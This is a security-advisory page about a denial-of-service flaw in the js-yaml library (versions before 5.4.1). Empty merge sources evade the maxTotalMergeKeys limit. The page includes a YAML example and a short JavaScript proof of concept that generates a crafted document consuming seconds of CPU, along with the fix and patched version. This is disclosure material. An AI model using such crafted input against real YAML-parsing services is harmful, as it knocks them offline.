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TI-2026-67325 Aliases GHSA-r3ph-w7gj-g6xm

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Priority LOW 38CWE-400Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
Denial of service
Confidentiality · integrity · availability
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Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-400.

Summary

## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count every merge source mapping as one budget unit in addition to counting its keys.

Why it matters now

Fix Fixed js-yaml (npm): 5.4.1

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—js-yaml (npm)5.0.0 to before 5.4.15.4.1Patch availableGHSA-r3ph-w7gj-g6xm
  • js-yaml (npm) Vendor— Affected 5.0.0 to before 5.4.1 Fixed in 5.4.1 Patch available GHSA-r3ph-w7gj-g6xm

Remediation

  • Fix · GHSA-r3ph-w7gj-g6xm js-yaml (npm) Fixed in 5.4.1 Advisory →

Timeline

  1. 2026-10-03 Threatist record created from GHSA-r3ph-w7gj-g6xm

References

Sources

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